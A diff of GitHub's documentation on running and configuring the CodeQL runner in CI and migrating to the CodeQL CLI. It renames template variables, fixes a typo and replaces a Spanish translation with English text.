@@ -57,7 +57,7 @@ You can display the command-line help for any command using the <nobr>`--help`</
|
||||
4. Run `codeql database create` from the checkout root of your repository and build the codebase.
|
||||
|
||||
```shell
|
||||
# Single supported language - create one CodeQL databsae
|
||||
# Single supported language - create one CodeQL database
|
||||
codeql database create <database> --command<build> --language=<language-identifier>
|
||||
|
||||
# Multiple supported languages - create one CodeQL database per language
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
---
|
||||
title: Configuring CodeQL runner in your CI system
|
||||
shortTitle: Configure CodeQL runner
|
||||
intro: 'You can configure how the {% data variables.product.prodname_codeql_runner %} scans the code in your project and uploads the results to {% data variables.product.prodname_dotcom %}.'
|
||||
intro: 'You can configure how the {% data variables.code-scanning.codeql_runner %} scans the code in your project and uploads the results to {% data variables.product.prodname_dotcom %}.'
|
||||
product: '{% data reusables.gated-features.code-scanning %}'
|
||||
miniTocMaxHeadingLevel: 3
|
||||
redirect_from:
|
||||
@@ -33,18 +33,18 @@ topics:
|
||||
|
||||
## About configuring {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system
|
||||
|
||||
To integrate {% data variables.product.prodname_code_scanning %} into your CI system, you can use the {% data variables.product.prodname_codeql_runner %}. For more information, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)."
|
||||
To integrate {% data variables.product.prodname_code_scanning %} into your CI system, you can use the {% data variables.code-scanning.codeql_runner %}. For more information, see "[Running {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)."
|
||||
|
||||
In general, you invoke the {% data variables.product.prodname_codeql_runner %} as follows.
|
||||
In general, you invoke the {% data variables.code-scanning.codeql_runner %} as follows.
|
||||
|
||||
```shell
|
||||
$ /path/to-runner/codeql-runner-OS <COMMAND> <FLAGS>
|
||||
```
|
||||
|
||||
`/path/to-runner/` depends on where you've downloaded the {% data variables.product.prodname_codeql_runner %} on your CI system. `codeql-runner-OS` depends on the operating system you use.
|
||||
There are three versions of the {% data variables.product.prodname_codeql_runner %}, `codeql-runner-linux`, `codeql-runner-macos`, and `codeql-runner-win`, for Linux, macOS, and Windows systems respectively.
|
||||
`/path/to-runner/` depends on where you've downloaded the {% data variables.code-scanning.codeql_runner %} on your CI system. `codeql-runner-OS` depends on the operating system you use.
|
||||
There are three versions of the {% data variables.code-scanning.codeql_runner %}, `codeql-runner-linux`, `codeql-runner-macos`, and `codeql-runner-win`, for Linux, macOS, and Windows systems respectively.
|
||||
|
||||
To customize the way the {% data variables.product.prodname_codeql_runner %} scans your code, you can use flags, such as `--languages` and `--queries`, or you can specify custom settings in a separate configuration file.
|
||||
To customize the way the {% data variables.code-scanning.codeql_runner %} scans your code, you can use flags, such as `--languages` and `--queries`, or you can specify custom settings in a separate configuration file.
|
||||
|
||||
## Scanning pull requests
|
||||
|
||||
@@ -64,7 +64,7 @@ $ /path/to-runner/codeql-runner-linux analyze --ref refs/pull/42/merge
|
||||
|
||||
## Overriding automatic language detection
|
||||
|
||||
The {% data variables.product.prodname_codeql_runner %} automatically detects and scans code written in the supported languages.
|
||||
The {% data variables.code-scanning.codeql_runner %} automatically detects and scans code written in the supported languages.
|
||||
|
||||
{% data reusables.code-scanning.codeql-languages-bullets %}
|
||||
|
||||
@@ -84,11 +84,11 @@ $ /path/to-runner/codeql-runner-linux init --languages cpp,java
|
||||
|
||||
To add one or more queries, pass a comma-separated list of paths to the `--queries` flag of the `init` command. You can also specify additional queries in a configuration file.
|
||||
|
||||
If you also are using a configuration file for custom settings, and you are also specifying additional queries with the `--queries` flag, the {% data variables.product.prodname_codeql_runner %} uses the additional queries specified with the <nobr>`--queries`</nobr> flag instead of any in the configuration file.
|
||||
If you also are using a configuration file for custom settings, and you are also specifying additional queries with the `--queries` flag, the {% data variables.code-scanning.codeql_runner %} uses the additional queries specified with the <nobr>`--queries`</nobr> flag instead of any in the configuration file.
|
||||
If you want to run the combined set of additional queries specified with the flag and in the configuration file, prefix the value passed to <nobr>`--queries`</nobr> with the `+` symbol.
|
||||
For more information, see "[Using a custom configuration file](#using-a-custom-configuration-file)."
|
||||
|
||||
In the following example, the `+` symbol ensures that the {% data variables.product.prodname_codeql_runner %} uses the additional queries together with any queries specified in the referenced configuration file.
|
||||
In the following example, the `+` symbol ensures that the {% data variables.code-scanning.codeql_runner %} uses the additional queries together with any queries specified in the referenced configuration file.
|
||||
|
||||
```shell
|
||||
$ /path/to-runner/codeql-runner-linux init --config-file .github/codeql/codeql-config.yml
|
||||
@@ -97,7 +97,7 @@ $ /path/to-runner/codeql-runner-linux init --config-file .github/codeql/codeql-c
|
||||
|
||||
## Using a custom configuration file
|
||||
|
||||
Instead of passing additional information to the {% data variables.product.prodname_codeql_runner %} commands, you can specify custom settings in a separate configuration file.
|
||||
Instead of passing additional information to the {% data variables.code-scanning.codeql_runner %} commands, you can specify custom settings in a separate configuration file.
|
||||
|
||||
The configuration file is a YAML file. It uses syntax similar to the workflow syntax for {% data variables.product.prodname_actions %}, as illustrated in the examples below. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)."
|
||||
|
||||
@@ -117,7 +117,7 @@ $ /path/to-runner/codeql-runner-linux init --config-file .github/codeql/codeql-c
|
||||
|
||||
For the compiled languages C/C++, C#,{% ifversion codeql-go-autobuild %} Go,{% endif %} and Java, {% data variables.product.prodname_codeql %} builds the code before analyzing it. {% data reusables.code-scanning.analyze-go %}
|
||||
|
||||
For many common build systems, the {% data variables.product.prodname_codeql_runner %} can build the code automatically. To attempt to build the code automatically, run `autobuild` between the `init` and `analyze` steps. Note that if your repository requires a specific version of a build tool, you may need to install the build tool manually first.
|
||||
For many common build systems, the {% data variables.code-scanning.codeql_runner %} can build the code automatically. To attempt to build the code automatically, run `autobuild` between the `init` and `analyze` steps. Note that if your repository requires a specific version of a build tool, you may need to install the build tool manually first.
|
||||
|
||||
The `autobuild` process only ever attempts to build _one_ compiled language for a repository. The language automatically selected for analysis is the language with the most files. If you want to choose a language explicitly, use the `--language` flag of the `autobuild` command.
|
||||
|
||||
@@ -125,33 +125,33 @@ The `autobuild` process only ever attempts to build _one_ compiled language for
|
||||
$ /path/to-runner/codeql-runner-linux autobuild --language csharp
|
||||
```
|
||||
|
||||
If the `autobuild` command can't build your code, you can run the build steps yourself, between the `init` and `analyze` steps. For more information, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system#compiled-language-example)."
|
||||
If the `autobuild` command can't build your code, you can run the build steps yourself, between the `init` and `analyze` steps. For more information, see "[Running {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system#compiled-language-example)."
|
||||
|
||||
## Uploading {% data variables.product.prodname_code_scanning %} data to {% data variables.product.prodname_dotcom %}
|
||||
|
||||
By default, the {% data variables.product.prodname_codeql_runner %} uploads results from {% data variables.product.prodname_code_scanning %} when you run the `analyze` command. You can also upload SARIF files separately, by using the `upload` command.
|
||||
By default, the {% data variables.code-scanning.codeql_runner %} uploads results from {% data variables.product.prodname_code_scanning %} when you run the `analyze` command. You can also upload SARIF files separately, by using the `upload` command.
|
||||
|
||||
Once you've uploaded the data, {% data variables.product.prodname_dotcom %} displays the alerts in your repository.
|
||||
- If you uploaded to a pull request, for example `--ref refs/pull/42/merge` or `--ref refs/pull/42/head`, then the results appear as alerts in a pull request check. For more information, see "[Triaging code scanning alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)."
|
||||
- If you uploaded to a branch, for example `--ref refs/heads/my-branch`, then the results appear in the **Security** tab for your repository. For more information, see "[Managing code scanning alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)."
|
||||
|
||||
## {% data variables.product.prodname_codeql_runner %} command reference
|
||||
## {% data variables.code-scanning.codeql_runner %} command reference
|
||||
|
||||
The {% data variables.product.prodname_codeql_runner %} supports the following commands and flags.
|
||||
The {% data variables.code-scanning.codeql_runner %} supports the following commands and flags.
|
||||
|
||||
### `init`
|
||||
|
||||
Initializes the {% data variables.product.prodname_codeql_runner %} and creates a {% data variables.product.prodname_codeql %} database for each language to be analyzed.
|
||||
Initializes the {% data variables.code-scanning.codeql_runner %} and creates a {% data variables.product.prodname_codeql %} database for each language to be analyzed.
|
||||
|
||||
| Flag | Required | Input value |
|
||||
| ---- |:--------:| ----------- |
|
||||
| `--repository` | ✓ | Name of the repository to initialize. |
|
||||
| `--github-url` | ✓ | URL of the {% data variables.product.prodname_dotcom %} instance where your repository is hosted. |
|
||||
| <nobr>`--github-auth-stdin`</nobr> | ✓ | Read the {% data variables.product.prodname_github_apps %} token or {% data variables.product.pat_generic %} from standard input. |
|
||||
| `--languages` | | Comma-separated list of languages to analyze. By default, the {% data variables.product.prodname_codeql_runner %} detects and analyzes all supported languages in the repository. |
|
||||
| `--languages` | | Comma-separated list of languages to analyze. By default, the {% data variables.code-scanning.codeql_runner %} detects and analyzes all supported languages in the repository. |
|
||||
| `--queries` | | Comma-separated list of additional queries to run, in addition to the default suite of security queries. This overrides the `queries` setting in the custom configuration file. |
|
||||
| `--config-file` | | Path to custom configuration file. |
|
||||
| `--codeql-path` | | Path to a copy of the {% data variables.product.prodname_codeql %} CLI executable to use. By default, the {% data variables.product.prodname_codeql_runner %} downloads a copy. |
|
||||
| `--codeql-path` | | Path to a copy of the {% data variables.product.prodname_codeql %} CLI executable to use. By default, the {% data variables.code-scanning.codeql_runner %} downloads a copy. |
|
||||
| `--temp-dir` | | Directory where temporary files are stored. The default is `./codeql-runner`. |
|
||||
| `--tools-dir` | | Directory where {% data variables.product.prodname_codeql %} tools and other files are stored between runs. The default is a subdirectory of the home directory. |
|
||||
| <nobr>`--checkout-path`</nobr> | | The path to the checkout of your repository. The default is the current working directory. |
|
||||
@@ -166,7 +166,7 @@ Attempts to build the code for the compiled languages C/C++, C#, and Java. For t
|
||||
|
||||
| Flag | Required | Input value |
|
||||
| ---- |:--------:| ----------- |
|
||||
| `--language` | | The language to build. By default, the {% data variables.product.prodname_codeql_runner %} builds the compiled language with the most files. |
|
||||
| `--language` | | The language to build. By default, the {% data variables.code-scanning.codeql_runner %} builds the compiled language with the most files. |
|
||||
| <nobr>`--temp-dir`</nobr> | | Directory where temporary files are stored. The default is `./codeql-runner`. |
|
||||
| `--debug` | | None. Prints more verbose output. |
|
||||
| <nobr> `-h`, `--help`</nobr> | | None. Displays help for the command. |
|
||||
@@ -183,7 +183,7 @@ Analyzes the code in the {% data variables.product.prodname_codeql %} databases
|
||||
| `--github-url` | ✓ | URL of the {% data variables.product.prodname_dotcom %} instance where your repository is hosted. |
|
||||
| <nobr>`--github-auth-stdin`</nobr> | ✓ | Read the {% data variables.product.prodname_github_apps %} token or {% data variables.product.pat_generic %} from standard input. |
|
||||
| <nobr>`--checkout-path`</nobr> | | The path to the checkout of your repository. The default is the current working directory. |
|
||||
| `--no-upload` | | None. Stops the {% data variables.product.prodname_codeql_runner %} from uploading the results to {% data variables.product.product_name %}. |
|
||||
| `--no-upload` | | None. Stops the {% data variables.code-scanning.codeql_runner %} from uploading the results to {% data variables.product.product_name %}. |
|
||||
| `--output-dir` | | Directory where the output SARIF files are stored. The default is in the directory of temporary files. |
|
||||
| `--ram` | | Amount of memory to use when running queries. The default is to use all available memory. |
|
||||
| <nobr>`--no-add-snippets`</nobr> | | None. Excludes code snippets from the SARIF output. |
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
---
|
||||
title: Migrarse del ejecutor de CodeQL al CLI de CodeQL
|
||||
title: Migrating from the CodeQL runner to CodeQL CLI
|
||||
shortTitle: Migrating from the CodeQL runner
|
||||
intro: 'Puedes utilizar el {% data variables.product.prodname_codeql_cli %} para completar las mismas tareas que hacías con el {% data variables.product.prodname_codeql_runner %}.'
|
||||
intro: 'You can use the {% data variables.product.prodname_codeql_cli %} to complete the same tasks as with the {% data variables.code-scanning.codeql_runner %}.'
|
||||
product: '{% data reusables.gated-features.code-scanning %}'
|
||||
versions:
|
||||
fpt: '*'
|
||||
@@ -12,57 +12,52 @@ topics:
|
||||
- Advanced Security
|
||||
- Code scanning
|
||||
- CodeQL
|
||||
ms.openlocfilehash: c58dfe006a1f9189ece847559d5ecfafde1f7d81
|
||||
ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 09/10/2022
|
||||
ms.locfileid: '145116065'
|
||||
---
|
||||
# Migrarse del {% data variables.product.prodname_codeql_runner %} al {% data variables.product.prodname_codeql_cli %}
|
||||
|
||||
El {% data variables.product.prodname_codeql_runner %} se va a obsoletizar. Puedes utilizar la versión 2.6.2 del {% data variables.product.prodname_codeql_cli %} y superiores.
|
||||
Este documento describe cómo migrar flujos de trabajo comunes desde el {% data variables.product.prodname_codeql_runner %} hacia el {% data variables.product.prodname_codeql_cli %}.
|
||||
# Migrating from the {% data variables.code-scanning.codeql_runner %} to the {% data variables.product.prodname_codeql_cli %}
|
||||
|
||||
## Instalación
|
||||
The {% data variables.code-scanning.codeql_runner %} is being deprecated. You can use the {% data variables.product.prodname_codeql_cli %} version 2.6.2 and greater instead.
|
||||
This document describes how to migrate common workflows from the {% data variables.code-scanning.codeql_runner %} to the {% data variables.product.prodname_codeql_cli %}.
|
||||
|
||||
Descarga el **paquete {% data variables.product.prodname_codeql %}** del [repositorio `github/codeql-action`](https://github.com/github/codeql-action/releases). Este paquete contiene al {% data variables.product.prodname_codeql_cli %} y las consultas estándar y librerías de {% data variables.product.prodname_codeql %}.
|
||||
## Installation
|
||||
|
||||
Para más información sobre cómo configurar {% data variables.product.prodname_codeql_cli %}, consulta "[Instalación de {% data variables.product.prodname_codeql_cli %} en el sistema de CI](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)".
|
||||
Download the **{% data variables.product.prodname_codeql %} bundle** from the [`github/codeql-action` repository](https://github.com/github/codeql-action/releases). This bundle contains the {% data variables.product.prodname_codeql_cli %} and the standard {% data variables.product.prodname_codeql %} queries and libraries.
|
||||
|
||||
## Resumen de los cambios en los flujos de trabajo
|
||||
For more information on setting up the {% data variables.product.prodname_codeql_cli %}, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)."
|
||||
|
||||
Un flujo de trabajo habitual utiliza el {% data variables.product.prodname_codeql_runner %} para analizar una base de código tiene los siguientes pasos.
|
||||
- `codeql-runner-<platform> init` para empezar a crear bases de datos de {% data variables.product.prodname_codeql %} y leer la configuración.
|
||||
- Para lenguajes compilados: establece las variables de entorno generadas por el paso `init`.
|
||||
- Para los lenguajes compilados: ejecuta la autocompilación o los pasos de compilación manual.
|
||||
- `codeql-runner-<platform> analyze` para terminar de crear bases de datos de {% data variables.product.prodname_codeql %}, ejecuta consultas para analizar cada base de datos de {% data variables.product.prodname_codeql %}, resume los resultados en un archivo SARIF y cárgalos en {% data variables.product.prodname_dotcom %}.
|
||||
## Overview of workflow changes
|
||||
|
||||
Un flujo de trabajo habitual utiliza el {% data variables.product.prodname_codeql_cli %} para analizar una base de código tiene los siguientes pasos.
|
||||
- `codeql database create` para crear bases de datos de {% data variables.product.prodname_codeql %}.
|
||||
- Para los lenguajes compilados: Proporciona un comando de compilación opcionalmente.
|
||||
- `codeql database analyze` para ejecutar consultas para analizar cada base de datos de {% data variables.product.prodname_codeql %} y resumir los resultados en un archivo SARIF. Este comando debe ejecutarse una vez para cada lenguaje o base de datos.
|
||||
- `codeql github upload-results` para cargar los archivos SARIF resultantes en {% data variables.product.prodname_dotcom %}, que se mostrarán como alertas de examen de código. Este comando debe ejecutarse una vez para cada archivo SARIF o lenguaje.
|
||||
A typical workflow that uses the {% data variables.code-scanning.codeql_runner %} to analyze a codebase has the following steps.
|
||||
- `codeql-runner-<platform> init` to start creating {% data variables.product.prodname_codeql %} databases and read the configuration.
|
||||
- For compiled languages: set environment variables produced by the `init` step.
|
||||
- For compiled languages: run autobuild or manual build steps.
|
||||
- `codeql-runner-<platform> analyze` to finish creating {% data variables.product.prodname_codeql %} databases, run queries to analyze each {% data variables.product.prodname_codeql %} database, summarize the results in a SARIF file, and upload the results to {% data variables.product.prodname_dotcom %}.
|
||||
|
||||
El {% data variables.product.prodname_codeql_runner %} tiene capacidades de subprocesamiento múltiple predeterminadamente. El {% data variables.product.prodname_codeql_cli %} solo utiliza un subproceso predeterminadamente, pero te permite especificar la cantidad de subprocesos que quieres utilizar. Si quieres replicar el comportamiento de {% data variables.product.prodname_codeql_runner %} para usar todos los subprocesos disponibles en la máquina al utilizar {% data variables.product.prodname_codeql_cli %}, puedes pasar `--threads 0` a `codeql database analyze`.
|
||||
A typical workflow that uses the {% data variables.product.prodname_codeql_cli %} to analyze a codebase has the following steps.
|
||||
- `codeql database create` to create {% data variables.product.prodname_codeql %} databases.
|
||||
- For compiled languages: Optionally provide a build command.
|
||||
- `codeql database analyze` to run queries to analyze each {% data variables.product.prodname_codeql %} database and summarize the results in a SARIF file. This command must be run once for each language or database.
|
||||
- `codeql github upload-results` to upload the resulting SARIF files to {% data variables.product.prodname_dotcom %}, to be displayed as code scanning alerts. This command must be run once for each language or SARIF file.
|
||||
|
||||
Para más información, consulta "[Configuración de {% data variables.product.prodname_codeql_cli %} en el sistema de CI](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system)".
|
||||
The {% data variables.code-scanning.codeql_runner %} is multithreaded by default. The {% data variables.product.prodname_codeql_cli %} only uses a single thread by default, but allows you to specify the amount of threads you want it to use. If you want to replicate the behavior of the {% data variables.code-scanning.codeql_runner %} to use all threads available on the machine when using the {% data variables.product.prodname_codeql_cli %}, you can pass `--threads 0` to `codeql database analyze`.
|
||||
|
||||
## Ejemplos de usos comunes para el {% data variables.product.prodname_codeql_cli %}
|
||||
For more information, see "[Configuring {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system)."
|
||||
|
||||
### Acerca de los ejemplos
|
||||
## Examples of common uses for the {% data variables.product.prodname_codeql_cli %}
|
||||
|
||||
Estos ejemplos asumen que el código fuente se verificó en el directorio de trabajo actual. Si usas un directorio diferente, cambia el argumento `--source-root` y los pasos de compilación en consecuencia.
|
||||
### About the examples
|
||||
|
||||
Estos ejemplos también asumen que el {% data variables.product.prodname_codeql_cli %} se coloca en la RUTA correcta.
|
||||
These examples assume that the source code has been checked out to the current working directory. If you use a different directory, change the `--source-root` argument and the build steps accordingly.
|
||||
|
||||
En estos ejemplos, un token de {% data variables.product.prodname_dotcom %} con ámbitos adecuados se almacena en la variable de entorno `$TOKEN` y se pasa a los comandos de ejemplo a través de `stdin` o se almacena en la variable de entorno `$GITHUB_TOKEN`.
|
||||
These examples also assume that the {% data variables.product.prodname_codeql_cli %} is placed on the current PATH.
|
||||
|
||||
El nombre de ref y el SHA de confirmación que se verifican y analizan en estos ejemplos se conocen durante el flujo de trabajo. Para una rama, usa `refs/heads/BRANCH-NAME` como referencia. Para la confirmación principal de una solicitud de incorporación de cambios, usa `refs/pull/NUMBER/head`. Para una confirmación de combinación generada por {% data variables.product.prodname_dotcom %}, usa `refs/pull/NUMBER/merge`. En los ejemplos siguientes se usa `refs/heads/main`. Si utilizas un nombre de rama diferente, debes modificar el código de muestra.
|
||||
In these examples, a {% data variables.product.prodname_dotcom %} token with suitable scopes is stored in the `$TOKEN` environment variable and passed to the example commands via `stdin`, or is stored in the `$GITHUB_TOKEN` environment variable.
|
||||
|
||||
### Lenguaje sencillo no compilado (JavaScript)
|
||||
The ref name and commit SHA being checked out and analyzed in these examples are known during the workflow. For a branch, use `refs/heads/BRANCH-NAME` as the ref. For the head commit of a pull request, use `refs/pull/NUMBER/head`. For a {% data variables.product.prodname_dotcom %}-generated merge commit of a pull request, use `refs/pull/NUMBER/merge`. The examples below all use `refs/heads/main`. If you use a different branch name, you must modify the sample code.
|
||||
|
||||
Ejecutor:
|
||||
### Single non-compiled language (JavaScript)
|
||||
|
||||
Runner:
|
||||
```bash
|
||||
echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
|
||||
--languages javascript \
|
||||
@@ -87,11 +82,11 @@ echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \
|
||||
--sarif=/temp/example-repo-js.sarif --github-auth-stdin
|
||||
```
|
||||
|
||||
### Lenguaje sencillo no compilado (JavaScript) utilizando una suite de consultas (security-and-quality)
|
||||
### Single non-compiled language (JavaScript) using a different query suite (security-and-quality)
|
||||
|
||||
Se puede tomar un enfoque similar para los lenguajes compilados o los lenguajes múltiples.
|
||||
A similar approach can be taken for compiled languages, or multiple languages.
|
||||
|
||||
Ejecutor:
|
||||
Runner:
|
||||
```bash
|
||||
echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
|
||||
--languages javascript \
|
||||
@@ -117,11 +112,11 @@ echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \
|
||||
--sarif=/temp/example-repo-js.sarif --github-auth-stdin
|
||||
```
|
||||
|
||||
### Lenguaje sencillo no compilado (JavaScript) utilizando un archivo de configuración personalizado
|
||||
### Single non-compiled language (JavaScript) using a custom configuration file
|
||||
|
||||
Se puede tomar un enfoque similar para los lenguajes compilados o los lenguajes múltiples.
|
||||
A similar approach can be taken for compiled languages, or multiple languages.
|
||||
|
||||
Ejecutor:
|
||||
Runner:
|
||||
```bash
|
||||
echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
|
||||
--languages javascript \
|
||||
@@ -148,9 +143,9 @@ echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \
|
||||
--sarif=/temp/example-repo-js.sarif --github-auth-stdin
|
||||
```
|
||||
|
||||
### Lenguaje sencillo no compilado utilizando compilación automática (Java)
|
||||
### Single compiled language using autobuild (Java)
|
||||
|
||||
Ejecutor:
|
||||
Runner:
|
||||
```bash
|
||||
echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
|
||||
--languages java \
|
||||
@@ -182,9 +177,9 @@ echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \
|
||||
--sarif=/temp/example-repo-java.sarif --github-auth-stdin
|
||||
```
|
||||
|
||||
### Lenguaje sencillo no copilado utilizando un comando de compilación personalizado (Java)
|
||||
### Single compiled language using a custom build command (Java)
|
||||
|
||||
Ejecutor:
|
||||
Runner:
|
||||
```bash
|
||||
echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
|
||||
--languages java \
|
||||
@@ -215,11 +210,11 @@ echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \
|
||||
--sarif=/temp/example-repo-java.sarif --github-auth-stdin
|
||||
```
|
||||
|
||||
### Lenguaje sencillo no compilado utilizando rastreo de compilación indirecto (C# sobre Windows dentro de Azure DevOps)
|
||||
### Single compiled language using indirect build tracing (C# on Windows within Azure DevOps)
|
||||
|
||||
El seguimiento indirecto de la compilación de un lenguaje compilado permite que {% data variables.product.prodname_codeql %} detecte todos los pasos de compilación entre los pasos `init` y `analyze`, cuando el código no se puede compilar mediante el compilador automático o una línea de comandos de compilación explícita. Esta opción resulta útil cuando se usan pasos de compilación preconfigurados desde el sistema de CI, como las tareas `VSBuild` y `MSBuild` en Azure DevOps.
|
||||
Indirect build tracing for a compiled language enables {% data variables.product.prodname_codeql %} to detect all build steps between the `init` and `analyze` steps, when the code cannot be built using the autobuilder or an explicit build command line. This is useful when using preconfigured build steps from your CI system, such as the `VSBuild` and `MSBuild` tasks in Azure DevOps.
|
||||
|
||||
Ejecutor:
|
||||
Runner:
|
||||
```yaml
|
||||
- task: CmdLine@1
|
||||
displayName: CodeQL Initialization
|
||||
@@ -337,12 +332,12 @@ CLI:
|
||||
|
||||
```
|
||||
|
||||
### Lenguajes múltiples utilizando compilación automática (C++, Python)
|
||||
### Multiple languages using autobuild (C++, Python)
|
||||
|
||||
Este ejemplo no es estrictamente posible dentro del {% data variables.product.prodname_codeql_runner %}.
|
||||
Solo se analizará un lenguaje (el lenguaje compilado que tenga la mayoría de los archivos).
|
||||
This example is not strictly possible with the {% data variables.code-scanning.codeql_runner %}.
|
||||
Only one language (the compiled language with the most files) will be analyzed.
|
||||
|
||||
Ejecutor:
|
||||
Runner:
|
||||
```bash
|
||||
echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
|
||||
--languages cpp,python \
|
||||
@@ -380,9 +375,9 @@ for language in cpp python; do
|
||||
done
|
||||
```
|
||||
|
||||
### Lenguajes múltiples utilizando un comando de compilación personalizado (C++, Python)
|
||||
### Multiple languages using a custom build command (C++, Python)
|
||||
|
||||
Ejecutor:
|
||||
Runner:
|
||||
```bash
|
||||
echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \
|
||||
--languages cpp,python \
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
---
|
||||
title: Running CodeQL runner in your CI system
|
||||
shortTitle: Run CodeQL runner
|
||||
intro: 'You can use the {% data variables.product.prodname_codeql_runner %} to perform {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in a third-party continuous integration system.'
|
||||
intro: 'You can use the {% data variables.code-scanning.codeql_runner %} to perform {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in a third-party continuous integration system.'
|
||||
product: '{% data reusables.gated-features.code-scanning %}'
|
||||
redirect_from:
|
||||
- /github/finding-security-vulnerabilities-and-errors-in-your-code/running-code-scanning-in-your-ci-system
|
||||
@@ -34,33 +34,33 @@ topics:
|
||||
{% data reusables.code-scanning.beta %}
|
||||
{% data reusables.code-scanning.enterprise-enable-code-scanning %}
|
||||
|
||||
## About the {% data variables.product.prodname_codeql_runner %}
|
||||
## About the {% data variables.code-scanning.codeql_runner %}
|
||||
|
||||
The {% data variables.product.prodname_codeql_runner %} is a tool you can use to run {% data variables.product.prodname_code_scanning %} on code that you're processing in a third-party continuous integration (CI) system. {% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)."
|
||||
The {% data variables.code-scanning.codeql_runner %} is a tool you can use to run {% data variables.product.prodname_code_scanning %} on code that you're processing in a third-party continuous integration (CI) system. {% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)."
|
||||
|
||||
In many cases it is easier to set up {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql_cli %} directly in your CI system.
|
||||
|
||||
Alternatively, you can use {% data variables.product.prodname_actions %} to run {% data variables.product.prodname_code_scanning %} within {% data variables.product.product_name %}. For information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)."
|
||||
|
||||
The {% data variables.product.prodname_codeql_runner %} is a command-line tool that runs {% data variables.product.prodname_codeql %} analysis on a checkout of a {% data variables.product.prodname_dotcom %} repository. You add the runner to your third-party system, then call the runner to analyze code and upload the results to {% data variables.product.product_name %}. These results are displayed as {% data variables.product.prodname_code_scanning %} alerts in the repository.
|
||||
The {% data variables.code-scanning.codeql_runner %} is a command-line tool that runs {% data variables.product.prodname_codeql %} analysis on a checkout of a {% data variables.product.prodname_dotcom %} repository. You add the runner to your third-party system, then call the runner to analyze code and upload the results to {% data variables.product.product_name %}. These results are displayed as {% data variables.product.prodname_code_scanning %} alerts in the repository.
|
||||
|
||||
{% note %}
|
||||
|
||||
**Note:**
|
||||
{% ifversion fpt or ghec %}
|
||||
* The {% data variables.product.prodname_codeql_runner %} uses the {% data variables.product.prodname_codeql %} CLI to analyze code and therefore has the same license conditions. It's free to use on public repositories that are maintained on {% data variables.product.prodname_dotcom_the_website %}, and available to use on private repositories that are owned by customers with an {% data variables.product.prodname_advanced_security %} license. For information, see "[{% data variables.product.product_name %} {% data variables.product.prodname_codeql %} Terms and Conditions](https://securitylab.github.com/tools/codeql/license)" and "[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)."
|
||||
* The {% data variables.code-scanning.codeql_runner %} uses the {% data variables.product.prodname_codeql %} CLI to analyze code and therefore has the same license conditions. It's free to use on public repositories that are maintained on {% data variables.product.prodname_dotcom_the_website %}, and available to use on private repositories that are owned by customers with an {% data variables.product.prodname_advanced_security %} license. For information, see "[{% data variables.product.product_name %} {% data variables.product.prodname_codeql %} Terms and Conditions](https://securitylab.github.com/tools/codeql/license)" and "[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)."
|
||||
{% else %}
|
||||
* The {% data variables.product.prodname_codeql_runner %} is available to customers with an {% data variables.product.prodname_advanced_security %} license.
|
||||
* The {% data variables.code-scanning.codeql_runner %} is available to customers with an {% data variables.product.prodname_advanced_security %} license.
|
||||
{% endif %}
|
||||
{% ifversion ghae %}
|
||||
* The {% data variables.product.prodname_codeql_runner %} shouldn't be confused with the {% data variables.product.prodname_codeql %} CLI. The {% data variables.product.prodname_codeql %} CLI is a command-line interface that lets you create {% data variables.product.prodname_codeql %} databases for security research and run {% data variables.product.prodname_codeql %} queries.
|
||||
